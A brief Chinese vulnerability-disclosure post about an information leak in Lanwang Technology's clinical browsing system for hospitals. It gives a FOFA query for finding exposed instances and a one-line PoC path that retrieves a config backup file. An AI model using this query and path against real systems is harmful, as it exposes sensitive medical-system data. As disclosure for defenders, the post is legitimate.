【漏洞复现】蓝网科技临床浏览系统信息泄露漏洞

Nx01 产品简介

蓝网科技临床浏览系统是一个专门用于医疗行业的软件系统,主要用于医生、护士和其他医疗专业人员在临床工作中进行信息浏览、查询和管理。

Nx02 漏洞描述

蓝网科技临床浏览系统存在信息泄露漏洞,攻击者可以利用该漏洞获取敏感信息。

Nx03 产品主页

fofa-query: title=="临床浏览"

Nx04 漏洞复现

POC:

/config/config%20bak.txt

Nx05 修复建议

建议联系软件厂商进行处理。

相关推荐
xmweisi几秒前
【华为】报文统计的技术NetStream
运维·服务器·网络·华为认证
VVVVWeiYee5 分钟前
BGP配置华为——路径优选验证
运维·网络·华为·信息与通信
Tipray200611 分钟前
天 锐 蓝盾终端安全管理系统:办公U盘拷贝使用管控限制
安全
DC_BLOG43 分钟前
Linux-GlusterFS进阶分布式卷
linux·运维·服务器·分布式
yourkin6661 小时前
TCP...
服务器·网络·tcp/ip
cookies_s_s1 小时前
Linux--进程(进程虚拟地址空间、页表、进程控制、实现简易shell)
linux·运维·服务器·数据结构·c++·算法·哈希算法
诶尔法Alpha2 小时前
Linux上使用dify构建RAG
linux·运维·服务器
熬夜苦读学习3 小时前
Linux文件系统
linux·运维·服务器·开发语言·后端
荔枝荷包蛋6663 小时前
【网络】高级IO——Reactor版TCP服务器
运维·服务器
ktkiko114 小时前
Websocket——心跳检测
网络·websocket·网络协议